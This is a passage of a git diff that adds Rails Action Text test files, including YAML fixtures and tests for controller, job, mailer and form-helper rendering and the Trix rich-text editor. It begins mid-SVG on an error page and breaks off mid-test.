50.5555-24.062 85.7015-64.884 85.7015zm0-133.2831c-17.573 0-22.71 21.8984-22.71 47.5816 0 25.6835 5.137 47.5815 22.71 47.5815 17.302 0 22.709-21.898 22.709-47.5815 0-25.6832-5.407-47.5816-22.709-47.5816z" fill="#f0eff0"/><path d="m23.1377 68.9967v34.0033h-8.9162v-34.0033zm4.3157 34.0033v-24.921h8.6947v2.1598c1.3845-1.5506 3.8212-2.7136 6.701-2.7136 5.538 0 8.8054 3.5997 8.8054 9.1377v16.3371h-8.6393v-14.2327c0-2.049-1.0522-3.5443-3.2674-3.5443-1.7168 0-3.1567.9969-3.5997 2.7136v15.0634zm29.9913-8.5839v-9.5807h-3.655v-6.7564h3.655v-6.8671h8.5839v6.8671h5.2058v6.7564h-5.2058v8.307c0 1.9383.9415 2.769 2.6583 2.769.9414 0 1.9937-.2216 2.769-.5538v7.3654c-.9969.443-2.8798.775-4.8181.775-5.8703 0-9.1931-2.769-9.1931-9.0819zm32.3666-.1108h8.0301c-.8861 5.7597-5.2057 9.2487-11.6852 9.2487-7.6424 0-12.682-5.2613-12.682-13.0145 0-7.6978 5.3165-13.0143 12.5159-13.0143 7.6424 0 11.9621 5.095 11.9621 12.5159v2.1598h-16.1156c.2769 2.9905 1.8275 4.5965 4.3196 4.5965 1.7722 0 3.1567-.7753 3.6551-2.4921zm-3.8212-10.0237c-2.0491 0-3.4336 1.2737-3.9874 3.5997h7.5317c-.1107-2.0491-1.3845-3.5997-3.5443-3.5997zm31.4299-6.3134v8.3624c-1.052-.5538-2.215-.7753-3.599-.7753-2.382 0-3.988 1.0522-4.431 2.8244v14.6203h-8.694v-24.921h8.694v2.2152c1.219-1.6614 3.157-2.769 5.649-2.769 1.108 0 1.994.2215 2.381.443zm2.949 25.0318v-24.921h8.694v2.1598c1.385-1.5506 3.821-2.7136 6.701-2.7136 5.538 0 8.806 3.5997 8.806 9.1377v16.3371h-8.64v-14.2327c0-2.049-1.052-3.5443-3.267-3.5443-1.717 0-3.157.9969-3.6 2.7136v15.0634zm50.371 0h-8.363v-1.274c-.83.831-3.323 1.717-5.981 1.717-4.929 0-9.082-2.769-9.082-8.0301 0-4.818 4.153-7.9193 9.581-7.9193 2.049 0 4.485.6646 5.482 1.3845v-1.606c0-1.606-.941-2.9905-3.046-2.9905-1.606 0-2.547.7199-2.935 1.8275h-8.196c.72-4.8181 4.984-8.6393 11.408-8.6393 7.089 0 11.132 3.7659 11.132 10.2453zm-8.363-6.9779v-1.4399c-.554-1.0522-2.049-1.7167-3.655-1.7167-1.717 0-3.433.7199-3.433 2.3813 0 1.7168 1.716 2.4367 3.433 2.4367 1.606 0 3.101-.6645 3.655-1.6614zm20.742-29.0191v35.997h-8.694v-35.997zm13.036 25.9178h9.248c.72 2.326 2.714 3.489 5.483 3.489 2.713 0 4.596-1.163 4.596-3.2674 0-1.6061-1.052-2.326-3.212-2.8244l-6.534-1.3845c-4.985-1.1076-8.751-3.7105-8.751-9.47 0-6.6456 5.538-11.0206 13.07-11.0206 8.307 0 13.014 4.5411 13.956 10.4114h-8.695c-.72-1.8829-2.27-3.3228-5.205-3.3228-2.548 0-4.265 1.1076-4.265 2.9905 0 1.4953 1.052 2.326 2.825 2.7137l6.645 1.5506c5.815 1.3845 9.027 4.5412 9.027 9.8023 0 6.9778-5.87 10.9654-13.291 10.9654-8.141 0-13.679-3.9322-14.897-10.6332zm46.509 1.3845h8.031c-.887 5.7597-5.206 9.2487-11.686 9.2487-7.642 0-12.682-5.2613-12.682-13.0145 0-7.6978 5.317-13.0143 12.516-13.0143 7.643 0 11.962 5.095 11.962 12.5159v2.1598h-16.115c.277 2.9905 1.827 4.5965 4.319 4.5965 1.773 0 3.157-.7753 3.655-2.4921zm-3.821-10.0237c-2.049 0-3.433 1.2737-3.987 3.5997h7.532c-.111-2.0491-1.385-3.5997-3.545-3.5997zm31.431-6.3134v8.3624c-1.053-.5538-2.216-.7753-3.6-.7753-2.381 0-3.988 1.0522-4.431 2.8244v14.6203h-8.694v-24.921h8.694v2.2152c1.219-1.6614 3.157-2.769 5.649-2.769 1.108 0 1.994.2215 2.382.443zm18.288 25.0318h-7.809l-9.47-24.921h8.861l4.763 14.288 4.652-14.288h8.528zm25.614-8.6947h8.03c-.886 5.7597-5.206 9.2487-11.685 9.2487-7.642 0-12.682-5.2613-12.682-13.0145 0-7.6978 5.316-13.0143 12.516-13.0143 7.642 0 11.962 5.095 11.962 12.5159v2.1598h-16.116c.277 2.9905 1.828 4.5965 4.32 4.5965 1.772 0 3.157-.7753 3.655-2.4921zm-3.821-10.0237c-2.049 0-3.434 1.2737-3.988 3.5997h7.532c-.111-2.0491-1.384-3.5997-3.544-3.5997zm31.43-6.3134v8.3624c-1.052-.5538-2.215-.7753-3.6-.7753-2.381 0-3.987 1.0522-4.43 2.8244v14.6203h-8.695v-24.921h8.695v2.2152c1.218-1.6614 3.157-2.769 5.649-2.769 1.107 0 1.993.2215 2.381.443zm13.703-8.9715h24.312v7.6424h-15.562v5.3165h14.232v7.4763h-14.232v5.8703h15.562v7.6978h-24.312zm44.667 8.9715v8.3624c-1.052-.5538-2.215-.7753-3.6-.7753-2.381 0-3.987 1.0522-4.43 2.8244v14.6203h-8.695v-24.921h8.695v2.2152c1.218-1.6614 3.156-2.769 5.648-2.769 1.108 0 1.994.2215 2.382.443zm19.673 0v8.3624c-1.053-.5538-2.216-.7753-3.6-.7753-2.381 0-3.987 1.0522-4.43 2.8244v14.6203h-8.695v-24.921h8.695v2.2152c1.218-1.6614 3.156-2.769 5.648-2.769 1.108 0 1.994.2215 2.382.443zm26.769 12.5713c0 7.6978-5.15 13.0145-12.737 13.0145-7.532 0-12.738-5.3167-12.738-13.0145s5.206-13.0143 12.738-13.0143c7.587 0 12.737 5.3165 12.737 13.0143zm-8.529 0c0-3.4336-1.495-5.8703-4.208-5.8703-2.659 0-4.154 2.4367-4.154 5.8703s1.495 5.8149 4.154 5.8149c2.713 0 4.208-2.3813 4.208-5.8149zm28.082-12.5713v8.3624c-1.052-.5538-2.215-.7753-3.6-.7753-2.381 0-3.987 1.0522-4.43 2.8244v14.6203h-8.695v-24.921h8.695v2.2152c1.218-1.6614 3.157-2.769 5.649-2.769 1.107 0 1.993.2215 2.381.443z" fill="#d30001"/></svg>
+      </header>
+      <article>
+        <p><strong>We're sorry, but something went wrong.</strong><br> If you're the application owner check the logs for more information.</p>
+      </article>
+    </main>
+
+  </body>
+
+</html>
diff --git a/actiontext/test/dummy/public/apple-touch-icon-precomposed.png b/actiontext/test/dummy/public/apple-touch-icon-precomposed.png
new file mode 100644
index 0000000000000..e69de29bb2d1d
diff --git a/actiontext/test/dummy/public/apple-touch-icon.png b/actiontext/test/dummy/public/apple-touch-icon.png
new file mode 100644
index 0000000000000..e69de29bb2d1d
diff --git a/actiontext/test/dummy/public/favicon.ico b/actiontext/test/dummy/public/favicon.ico
new file mode 100644
index 0000000000000..e69de29bb2d1d
diff --git a/actiontext/test/dummy/storage/.keep b/actiontext/test/dummy/storage/.keep
new file mode 100644
index 0000000000000..e69de29bb2d1d
diff --git a/actiontext/test/dummy/test/fixtures/files/racecar.jpg b/actiontext/test/dummy/test/fixtures/files/racecar.jpg
new file mode 100644
index 0000000000000..934b4caa22704
Binary files /dev/null and b/actiontext/test/dummy/test/fixtures/files/racecar.jpg differ
diff --git a/actiontext/test/dummy/tmp/.keep b/actiontext/test/dummy/tmp/.keep
new file mode 100644
index 0000000000000..e69de29bb2d1d
diff --git a/actiontext/test/dummy/tmp/storage/.keep b/actiontext/test/dummy/tmp/storage/.keep
new file mode 100644
index 0000000000000..e69de29bb2d1d
diff --git a/actiontext/test/fixtures/action_text/rich_texts.yml b/actiontext/test/fixtures/action_text/rich_texts.yml
new file mode 100644
index 0000000000000..c3ad06d4d7877
--- /dev/null
+++ b/actiontext/test/fixtures/action_text/rich_texts.yml
@@ -0,0 +1,9 @@
+hello_alice_message_content:
+  record: hello_alice (Message)
+  name: content
+  body: <div>Hello, <%= ActionText::FixtureSet.attachment("people", :alice) %></div>
+
+hello_world_review_content:
+  record: hello_world (Review)
+  name: content
+  body: <div><%= ActionText::FixtureSet.attachment("messages", :hello_world) %> is great!</div>
diff --git a/actiontext/test/fixtures/files/racecar.jpg b/actiontext/test/fixtures/files/racecar.jpg
new file mode 100644
index 0000000000000..934b4caa22704
Binary files /dev/null and b/actiontext/test/fixtures/files/racecar.jpg differ
diff --git a/actiontext/test/fixtures/messages.yml b/actiontext/test/fixtures/messages.yml
new file mode 100644
index 0000000000000..003b2ac100713
--- /dev/null
+++ b/actiontext/test/fixtures/messages.yml
@@ -0,0 +1,8 @@
+hello_alice:
+  subject: "A message to Alice"
+
+hello_world:
+  subject: "A greeting"
+
+racecar:
+  subject: "A racecar"
diff --git a/actiontext/test/fixtures/people.yml b/actiontext/test/fixtures/people.yml
new file mode 100644
index 0000000000000..2ceb0704aa788
--- /dev/null
+++ b/actiontext/test/fixtures/people.yml
@@ -0,0 +1,2 @@
+alice:
+  name: "Alice"
diff --git a/actiontext/test/fixtures/reviews.yml b/actiontext/test/fixtures/reviews.yml
new file mode 100644
index 0000000000000..d06a8cc1dd2c1
--- /dev/null
+++ b/actiontext/test/fixtures/reviews.yml
@@ -0,0 +1,3 @@
+hello_world:
+  message: $LABEL
+  author_name: "Ruby"
diff --git a/actiontext/test/integration/controller_render_test.rb b/actiontext/test/integration/controller_render_test.rb
new file mode 100644
index 0000000000000..afedaae17c520
--- /dev/null
+++ b/actiontext/test/integration/controller_render_test.rb
@@ -0,0 +1,60 @@
+# frozen_string_literal: true
+
+require "test_helper"
+
+class ActionText::ControllerRenderTest < ActionDispatch::IntegrationTest
+  test "uses current request environment" do
+    blob = create_file_blob(filename: "racecar.jpg", content_type: "image/jpeg")
+    message = Message.create!(content: ActionText::Content.new.append_attachables(blob))
+
+    host! "loocalhoost"
+    get message_path(message)
+    assert_select "#content img" do |imgs|
+      imgs.each { |img| assert_match %r"//loocalhoost/", img["src"] }
+    end
+  end
+
+  test "renders as HTML when the request format is not HTML" do
+    blob = create_file_blob(filename: "racecar.jpg", content_type: "image/jpeg")
+    message = Message.create!(content: ActionText::Content.new.append_attachables(blob))
+
+    host! "loocalhoost"
+    get message_path(message, format: :json)
+    content = ActionText.html_document_fragment_class.parse(response.parsed_body["content"])
+    assert_select content, "img:match('src', ?)", %r"//loocalhoost/.+/racecar"
+  end
+
+  test "renders Trix with content attachment as HTML when the request format is not HTML" do
+    message_with_person_attachment = messages(:hello_alice)
+
+    get edit_message_path(message_with_person_attachment, format: :json)
+
+    form_html = response.parsed_body["form"]
+    assert_match %r" class=\S+mentionable-person\b", form_html
+  end
+
+  test "resolves partials when controller is namespaced" do
+    blob = create_file_blob(filename: "racecar.jpg", content_type: "image/jpeg")
+    message = Message.create!(content: ActionText::Content.new.append_attachables(blob))
+
+    get admin_message_path(message)
+    assert_select "#content-html .trix-content .attachment--jpg"
+  end
+
+  test "resolves ActionText::Attachable based on their to_attachable_partial_path" do
+    alice = people(:alice)
+
+    get messages_path
+
+    assert_select ".mentioned-person", text: alice.name
+  end
+
+  test "resolves missing ActionText::Attachable based on their to_missing_attachable_partial_path" do
+    alice = people(:alice)
+    alice.destroy!
+
+    get messages_path
+
+    assert_select ".missing-attachable", text: "Missing person"
+  end
+end
diff --git a/actiontext/test/integration/job_render_test.rb b/actiontext/test/integration/job_render_test.rb
new file mode 100644
index 0000000000000..d0f4211226b9c
--- /dev/null
+++ b/actiontext/test/integration/job_render_test.rb
@@ -0,0 +1,34 @@
+# frozen_string_literal: true
+
+require "test_helper"
+
+class ActionText::JobRenderTest < ActiveJob::TestCase
+  include Rails::Dom::Testing::Assertions::SelectorAssertions
+
+  test "uses app default_url_options" do
+    blob = create_file_blob(filename: "racecar.jpg", content_type: "image/jpeg")
+    message = Message.create!(content: ActionText::Content.new.append_attachables(blob))
+
+    Dir.mktmpdir do |dir|
+      file = File.join(dir, "broadcast.html")
+
+      BroadcastJob.perform_later(file, message)
+
+      with_default_url_options(host: "foo.example.com", port: 9001) do
+        perform_enqueued_jobs
+      end
+
+      rendered = ActionText.html_document_fragment_class.parse(File.read(file))
+      assert_select rendered, "img:match('src', ?)", %r"//foo.example.com:9001/.+/racecar"
+    end
+  end
+
+  private
+    def with_default_url_options(default_url_options)
+      original_default_url_options = Dummy::Application.default_url_options
+      Dummy::Application.default_url_options = default_url_options
+      yield
+    ensure
+      Dummy::Application.default_url_options = original_default_url_options
+    end
+end
diff --git a/actiontext/test/integration/mailer_render_test.rb b/actiontext/test/integration/mailer_render_test.rb
new file mode 100644
index 0000000000000..620eac0110602
--- /dev/null
+++ b/actiontext/test/integration/mailer_render_test.rb
@@ -0,0 +1,23 @@
+# frozen_string_literal: true
+
+require "test_helper"
+
+class ActionText::MailerRenderTest < ActionMailer::TestCase
+  test "uses default_url_options" do
+    original_default_url_options = ActionMailer::Base.default_url_options
+    ActionMailer::Base.default_url_options = { host: "hoost" }
+
+    blob = create_file_blob(filename: "racecar.jpg", content_type: "image/jpeg")
+    message = Message.new(content: ActionText::Content.new.append_attachables(blob))
+
+    MessagesMailer.with(recipient: "test", message: message).notification.deliver_now
+
+    assert_select_email do
+      assert_select "#message-content img" do |imgs|
+        imgs.each { |img| assert_match %r"//hoost/", img["src"] }
+      end
+    end
+  ensure
+    ActionMailer::Base.default_url_options = original_default_url_options
+  end
+end
diff --git a/actiontext/test/javascript_package_test.rb b/actiontext/test/javascript_package_test.rb
new file mode 100644
index 0000000000000..e4531e29b45d5
--- /dev/null
+++ b/actiontext/test/javascript_package_test.rb
@@ -0,0 +1,18 @@
+# frozen_string_literal: true
+
+require "test_helper"
+
+class JavascriptPackageTest < ActiveSupport::TestCase
+  def test_compiled_code_is_in_sync_with_source_code
+    compiled_files = %w[
+      app/assets/javascripts/actiontext.js
+      app/assets/javascripts/actiontext.esm.js
+    ].map do |file|
+      Pathname(file).expand_path("#{__dir__}/..")
+    end
+
+    assert_no_changes -> { compiled_files.map(&:read) } do
+      system "yarn build", exception: true
+    end
+  end
+end
diff --git a/actiontext/test/models/table_name_test.rb b/actiontext/test/models/table_name_test.rb
new file mode 100644
index 0000000000000..aa47706b21685
--- /dev/null
+++ b/actiontext/test/models/table_name_test.rb
@@ -0,0 +1,34 @@
+# frozen_string_literal: true
+
+require "test_helper"
+
+class ActionText::TableNameTest < ActiveSupport::TestCase
+  setup do
+    @old_prefix = ActiveRecord::Base.table_name_prefix
+    @old_suffix = ActiveRecord::Base.table_name_suffix
+
+    ActiveRecord::Base.table_name_prefix = @prefix = "abc_"
+    ActiveRecord::Base.table_name_suffix = @suffix = "_xyz"
+
+    @models = [ActionText::RichText, ActionText::EncryptedRichText]
+    @models.map(&:reset_table_name)
+  end
+
+  teardown do
+    ActiveRecord::Base.table_name_prefix = @old_prefix
+    ActiveRecord::Base.table_name_suffix = @old_suffix
+
+    @models.map(&:reset_table_name)
+  end
+
+  test "prefix and suffix are added to the Action Text tables' name" do
+    assert_equal(
+      "#{@prefix}action_text_rich_texts#{@suffix}",
+       ActionText::RichText.table_name
+    )
+    assert_equal(
+      "#{@prefix}action_text_rich_texts#{@suffix}",
+       ActionText::EncryptedRichText.table_name
+    )
+  end
+end
diff --git a/actiontext/test/system/rich_text_editor_test.rb b/actiontext/test/system/rich_text_editor_test.rb
new file mode 100644
index 0000000000000..65a2a00076b53
--- /dev/null
+++ b/actiontext/test/system/rich_text_editor_test.rb
@@ -0,0 +1,22 @@
+# frozen_string_literal: true
+
+require "application_system_test_case"
+
+class ActionText::RichTextEditorTest < ApplicationSystemTestCase
+  test "attaches and uploads image file" do
+    image_file = file_fixture("racecar.jpg")
+
+    visit new_message_url
+    attach_file image_file do
+      click_button "Attach Files"
+    end
+    within :rich_text_area do
+      assert_selector :element, "img", src: %r{/rails/active_storage/blobs/redirect/.*/#{image_file.basename}\Z}
+    end
+    click_button "Create Message"
+
+    within class: "trix-content" do
+      assert_selector :element, "img", src: %r{/rails/active_storage/representations/redirect/.*/#{image_file.basename}\Z}
+    end
+  end
+end
diff --git a/actiontext/test/system/system_test_helper_test.rb b/actiontext/test/system/system_test_helper_test.rb
new file mode 100644
index 0000000000000..35c6ed65613fa
--- /dev/null
+++ b/actiontext/test/system/system_test_helper_test.rb
@@ -0,0 +1,57 @@
+# frozen_string_literal: true
+
+require "application_system_test_case"
+
+class ActionText::SystemTestHelperTest < ApplicationSystemTestCase
+  def setup
+    visit new_message_url
+  end
+
+  test "filling in a rich-text area by ID" do
+    assert_selector :element, "trix-editor", id: "message_content"
+    fill_in_rich_textarea "message_content", with: "Hello world!"
+    assert_selector :rich_text_area, "message_content", text: "Hello world!"
+    assert_selector :field, "message[content]", with: /Hello world!/, type: "hidden"
+  end
+
+  test "filling in a rich-text area by placeholder" do
+    assert_selector :element, "trix-editor", placeholder: "Your message here"
+    fill_in_rich_textarea "Your message here", with: "Hello world!"
+    assert_selector :rich_text_area, "Your message here", text: "Hello world!"
+    assert_selector :field, "message[content]", with: /Hello world!/, type: "hidden"
+  end
+
+  test "filling in a rich-text area by aria-label" do
+    assert_selector :element, "trix-editor", "aria-label": "Message content aria-label"
+    fill_in_rich_textarea "Message content aria-label", with: "Hello world!"
+    assert_selector :rich_text_area, "Message content aria-label", text: "Hello world!"
+    assert_selector :field, "message[content]", with: /Hello world!/, type: "hidden"
+  end
+
+  test "filling in a rich-text area by label" do
+    assert_selector :label, "Message content label", for: "message_content"
+    fill_in_rich_textarea "Message content label", id: "message_content", with: "Hello world!"
+    assert_selector :rich_text_area, "Message content label", text: "Hello world!"
+    assert_selector :field, "message[content]", with: /Hello world!/, type: "hidden"
+  end
+
+  test "filling in a rich-text area by input name" do
+    assert_selector :element, "trix-editor", input: true
+    fill_in_rich_textarea "message[content]", with: "Hello world!"
+    assert_selector :rich_text_area, "message[content]", text: "Hello world!"
+    assert_selector :field, "message[content]", with: /Hello world!/, type: "hidden"
+  end
+
+  test "filling in the only rich-text area" do
+    fill_in_rich_textarea with: "Hello world!"
+    assert_selector :rich_text_area, text: "Hello world!"
+    assert_selector :field, "message[content]", with: /Hello world!/, type: "hidden"
+  end
+
+  test "filling in a rich-text area with nil" do
+    fill_in_rich_textarea "message_content", with: nil
+    assert_selector :rich_text_area do |rich_text_area|
+      assert_empty rich_text_area.text
+    end
+  end
+end
diff --git a/actiontext/test/system/trix_editor_test.rb b/actiontext/test/system/trix_editor_test.rb
new file mode 100644
index 0000000000000..68007359fa2bd
--- /dev/null
+++ b/actiontext/test/system/trix_editor_test.rb
@@ -0,0 +1,98 @@
+# frozen_string_literal: true
+
+require "application_system_test_case"
+require "active_support/core_ext/object/with"
+
+class TrixEditorTest < ApplicationSystemTestCase
+  test "uploads, attaches, and edits image file" do
+    image_file = file_fixture("racecar.jpg")
+
+    with_editor :trix do
+      visit new_message_url
+      attach_file(image_file) { click_button "Attach Files" }
+
+      within :rich_text_area do
+        assert_active_storage_blob image_file
+      end
+
+      click_button "Create Message"
+
+      within class: "trix-content" do
+        assert_active_storage_representation image_file
+      end
+
+      click_link "Edit"
+
+      within :rich_text_area do
+        assert_active_storage_blob image_file
+      end
+
+      click_button "Update Message"
+
+      within class: "trix-content" do
+        assert_active_storage_representation image_file
+      end
+    end
+  end
+
+  test "attaches attachable Record" do
+    alice = people(:alice)
+
+    with_editor :trix do
+      visit new_message_url
+      click_button "Mention #{alice.name}"
+
+      within :rich_text_area do
+        assert_editor_attachment alice do
+          assert_css "span", text: alice.name, class: "mentionable-person"
+        end
+      end
+
+      click_button "Create Message"
+
+      within class: "trix-content" do
+        assert_css "span", text: alice.name, class: "mentioned-person"
+      end
+
+      click_link "Edit"
+
+      within :rich_text_area do
+        assert_editor_attachment alice do
+          assert_css "span", text: alice.name, class: "mentionable-person"
+        end
+      end
+
+      click_button "Update Message"
+
+      within class: "trix-content" do
+        assert_css "span", text: alice.name, class: "mentioned-person"
+      end
+    end
+  end
+
+  def assert_editor_attachment(attachable, &block)
+    attachment_attribute = "data-trix-attachment"
+
+    assert_element "figure", :contenteditable => "false", attachment_attribute.to_sym => true do |figure|
+      attachment = JSON.parse(figure[attachment_attribute])
+
+      attachment["sgid"] == attachable.attachable_sgid && within(figure, &block)
+    end
+  end
+
+  def assert_active_storage_blob(image_file)
+    src = %r{/rails/active_storage/blobs/redirect/.*/#{image_file.basename}\Z}
+
+    assert_selector :element, "img", src: src
+  end
+
+  def assert_active_storage_representation(image_file)
+    src = %r{/rails/active_storage/representations/redirect/.*/#{image_file.basename}\Z}
+
+    assert_selector :element, "img", src: src
+  end
+
+  def with_editor(editor_name, &block)
+    Rails.configuration.action_text.with(editor: editor_name, &block)
+  end
+end
diff --git a/actiontext/test/template/form_helper_test.rb b/actiontext/test/template/form_helper_test.rb
new file mode 100644
index 0000000000000..da69d4bfe6675
--- /dev/null
+++ b/actiontext/test/template/form_helper_test.rb
@@ -0,0 +1,300 @@
+# frozen_string_literal: true
+
+require "test_helper"
+
+class ActionText::FormHelperTest < ActionView::TestCase
+  tests ActionText::TagHelper
+
+  def form_with(*, **)
+    @output_buffer = super
+  end
+
+  teardown do
+    I18n.backend.reload!
+  end
+
+  setup do
+    I18n.backend.store_translations("placeholder",
+      activerecord: {
+        attributes: {
+          message: {
+            title: "Story title"
+          }
+        }
+      }
+    )
+  end
+
+  test "#rich_textarea_tag helper" do
+    message = Message.new
+
+    concat rich_textarea_tag :content, message.content, { input: "trix_input_1" }
+
+    assert_dom_equal(<<~HTML, output_buffer)
+      <input type="hidden" name="content" id="trix_input_1" />
+      <trix-editor input="trix_input_1" class="trix-content" data-direct-upload-url="http://test.host/rails/active_storage/direct_uploads" data-blob-url-template="http://test.host/rails/active_storage/blobs/redirect/:signed_id/:filename">
+      </trix-editor>
+    HTML
+  end
+
+  test "#rich_textarea_tag helper with block" do
+    concat(
+      rich_textarea_tag(:content, nil, { input: "trix_input_1" }) do
+        concat "<h1>hello world</h1>"
+      end
+    )
+
+    assert_dom_equal(<<~HTML, output_buffer)
+      <input type="hidden" name="content" id="trix_input_1" value="&lt;h1&gt;hello world&lt;/h1&gt;"/>
+      <trix-editor input="trix_input_1" class="trix-content" data-direct-upload-url="http://test.host/rails/active_storage/direct_uploads" data-blob-url-template="http://test.host/rails/active_storage/blobs/redirect/:signed_id/:filename">
+      </trix-editor>
+    HTML
+  end
+
+  test "#rich_textarea helper" do
+    concat rich_textarea :message, :content, input: "trix_input_1"
+
+    assert_dom_equal(<<~HTML, output_buffer)
+      <input type="hidden" name="message[content]" id="trix_input_1" />
+      <trix-editor id="message_content" input="trix_input_1" class="trix-content" data-direct-upload-url="http://test.host/rails/active_storage/direct_uploads" data-blob-url-template="http://test.host/rails/active_storage/blobs/redirect/:signed_id/:filename">
+      </trix-editor>
+    HTML
+  end
+
+  test "#rich_textarea helper with block" do
+    concat(
+      rich_textarea(:message, :content, input: "trix_input_1") do
+        concat "<h1>hello world</h1>"
+      end
+    )
+
+    assert_dom_equal(<<~HTML, output_buffer)
+      <input type="hidden" name="message[content]" id="trix_input_1" value="&lt;h1&gt;hello world&lt;/h1&gt;"/>
+      <trix-editor id="message_content" input="trix_input_1" class="trix-content" data-direct-upload-url="http://test.host/rails/active_storage/direct_uploads" data-blob-url-template="http://test.host/rails/active_storage/blobs/redirect/:signed_id/:filename">
+      </trix-editor>
+    HTML
+  end
+
+  test "#rich_textarea helper renders the :value argument into the hidden field" do
+    message = Message.new content: "<h1>hello world</h1>"
+
+    concat rich_textarea :message, :title, value: message.content, input: "trix_input_1"
+
+    assert_dom_equal(<<~HTML, output_buffer)
+      <input type="hidden" name="message[title]" id="trix_input_1" value="&lt;h1&gt;hello world&lt;/h1&gt;" />
+      <trix-editor id="message_title" input="trix_input_1" class="trix-content" data-direct-upload-url="http://test.host/rails/active_storage/direct_uploads" data-blob-url-template="http://test.host/rails/active_storage/blobs/redirect/:signed_id/:filename">
+      </trix-editor>
+    HTML
+  end
+
+  test "form with rich text area" do
+    form_with model: Message.new, scope: :message do |form|
+      form.rich_textarea :content
+    end
+
+    assert_dom_equal(<<~HTML, output_buffer)
+      <form action="/messages" accept-charset="UTF-8" method="post">
+        <input type="hidden" name="message[content]" id="message_content_trix_input_message" />
+        <trix-editor id="message_content" input="message_content_trix_input_message" class="trix-content" data-direct-upload-url="http://test.host/rails/active_storage/direct_uploads" data-blob-url-template="http://test.host/rails/active_storage/blobs/redirect/:signed_id/:filename">
+        </trix-editor>
+      </form>
+    HTML
+  end
+
+  test "form with rich text area with block" do
+    form_with model: Message.new do |form|
+      form.rich_textarea :content do
+        "<h1>hello world</h1>"
+      end
+    end
+
+    assert_dom_equal(<<~HTML, output_buffer)
+      <form action="/messages" accept-charset="UTF-8" method="post">
+        <input type="hidden" name="message[content]" id="message_content_trix_input_message" value="&lt;h1&gt;hello world&lt;/h1&gt;"/>
+        <trix-editor id="message_content" input="message_content_trix_input_message" class="trix-content" data-direct-upload-url="http://test.host/rails/active_storage/direct_uploads" data-blob-url-template="http://test.host/rails/active_storage/blobs/redirect/:signed_id/:filename">
+        </trix-editor>
+      </form>
+    HTML
+  end
+
+  test "form with rich text area having class" do
+    form_with model: Message.new, scope: :message do |form|
+      form.rich_textarea :content, class: "custom-class"
+    end
+
+    assert_dom_equal(<<~HTML, output_buffer)
+      <form action="/messages" accept-charset="UTF-8" method="post">
+        <input type="hidden" name="message[content]" id="message_content_trix_input_message" />
+        <trix-editor id="message_content" input="message_content_trix_input_message" class="custom-class" data-direct-upload-url="http://test.host/rails/active_storage/direct_uploads" data-blob-url-template="http://test.host/rails/active_storage/blobs/redirect/:signed_id/:filename">
+        </trix-editor>
+      </form>
+    HTML
+  end
+
+  test "form with rich text area and error wrapper" do
+    message = Message.new
+    message.errors.add(:content, :blank)
+
+    form_with model: message, scope: :message do |form|
+      form.rich_textarea :content
+    end
+
+    assert_dom_equal(<<~HTML, output_buffer)
+      <form action="/messages" accept-charset="UTF-8" method="post">
+        <div class="field_with_errors">
+          <input type="hidden" name="message[content]" id="message_content_trix_input_message" />
+          <trix-editor id="message_content" input="message_content_trix_input_message" class="trix-content" data-direct-upload-url="http://test.host/rails/active_storage/direct_uploads" data-blob-url-template="http://test.host/rails/active_storage/blobs/redirect/:signed_id/:filename">
+          </trix-editor>
+        </div>
+      </form>
+    HTML
+  end
+
+  test "form with rich text area for non-attribute" do
+    form_with model: Message.new, scope: :message do |form|
+      form.rich_textarea :not_an_attribute
+    end
+
+    assert_dom_equal(<<~HTML, output_buffer)
+      <form action="/messages" accept-charset="UTF-8" method="post">
+        <input type="hidden" name="message[not_an_attribute]" id="message_not_an_attribute_trix_input_message" />
+        <trix-editor id="message_not_an_attribute" input="message_not_an_attribute_trix_input_message" class="trix-content" data-direct-upload-url="http://test.host/rails/active_storage/direct_uploads" data-blob-url-template="http://test.host/rails/active_storage/blobs/redirect/:signed_id/:filename">
+        </trix-editor>
+      </form>
+    HTML
+  end
+
+  test "modelless form with rich text area" do
+    form_with url: "/messages", scope: :message do |form|
+      form.rich_textarea :content, { input: "trix_input_2" }
+    end
+
+    assert_dom_equal(<<~HTML, output_buffer)
+      <form action="/messages" accept-charset="UTF-8" method="post">
+        <input type="hidden" name="message[content]" id="trix_input_2" />
+        <trix-editor id="message_content" input="trix_input_2" class="trix-content" data-direct-upload-url="http://test.host/rails/active_storage/direct_uploads" data-blob-url-template="http://test.host/rails/active_storage/blobs/redirect/:signed_id/:filename">
+        </trix-editor>
+      </form>
+    HTML
+  end
+
+  test "modelless form with rich text area with block" do
+    form_with url: "/messages", scope: :message do |form|
+      form.rich_textarea :content, input: "trix_input_1" do
+        "<h1>hello world</h1>"
+      end
+    end
+
+    assert_dom_equal(<<~HTML, output_buffer)
+      <form action="/messages" accept-charset="UTF-8" method="post">
+        <input type="hidden" name="message[content]" id="trix_input_1" value="&lt;h1&gt;hello world&lt;/h1&gt;" />
+        <trix-editor id="message_content" input="trix_input_1" class="trix-content" data-direct-upload-url="http://test.host/rails/active_storage/direct_uploads" data-blob-url-template="http://test.host/rails/active_storage/blobs/redirect/:signed_id/:filename">
+        </trix-editor>
+      </form>
+    HTML
+  end
+
+  test "form with rich text area having placeholder without locale" do
+    form_with model: Message.new, scope: :message do |form|
+      form.rich_textarea :content, placeholder: true
+    end
+
+    assert_dom_equal(<<~HTML, output_buffer)
+      <form action="/messages" accept-charset="UTF-8" method="post">
+        <input type="hidden" name="message[content]" id="message_content_trix_input_message" />
+        <trix-editor placeholder="Content" id="message_content" input="message_content_trix_input_message" class="trix-content" data-direct-upload-url="http://test.host/rails/active_storage/direct_uploads" data-blob-url-template="http://test.host/rails/active_storage/blobs/redirect/:signed_id/:filename">
+        </trix-editor>
+      </form>
+    HTML
+  end
+
+  test "form with rich text area having placeholder with locale" do
+    I18n.with_locale :placeholder do
+      form_with model: Message.new, scope: :message do |form|
+        form.rich_textarea :title, placeholder: true
+      end
+    end
+
+    assert_dom_equal(<<~HTML, output_buffer)
+      <form action="/messages" accept-charset="UTF-8" method="post">
+        <input type="hidden" name="message[title]" id="message_title_trix_input_message" />
+        <trix-editor placeholder="Story title" id="message_title" input="message_title_trix_input_message" class="trix-content" data-direct-upload-url="http://test.host/rails/active_storage/direct_uploads" data-blob-url-template="http://test.host/rails/active_storage/blobs/redirect/:signed_id/:filename">
+        </trix-editor>
+      </form>
+    HTML
+  end
+
+  test "form with rich text area with value" do
+    form_with model: Message.new, scope: :message do |form|
+      form.rich_textarea :title, value: "<h1>hello world</h1>"
+    end
+
+    assert_dom_equal(<<~HTML, output_buffer)
+      <form action="/messages" accept-charset="UTF-8" method="post">
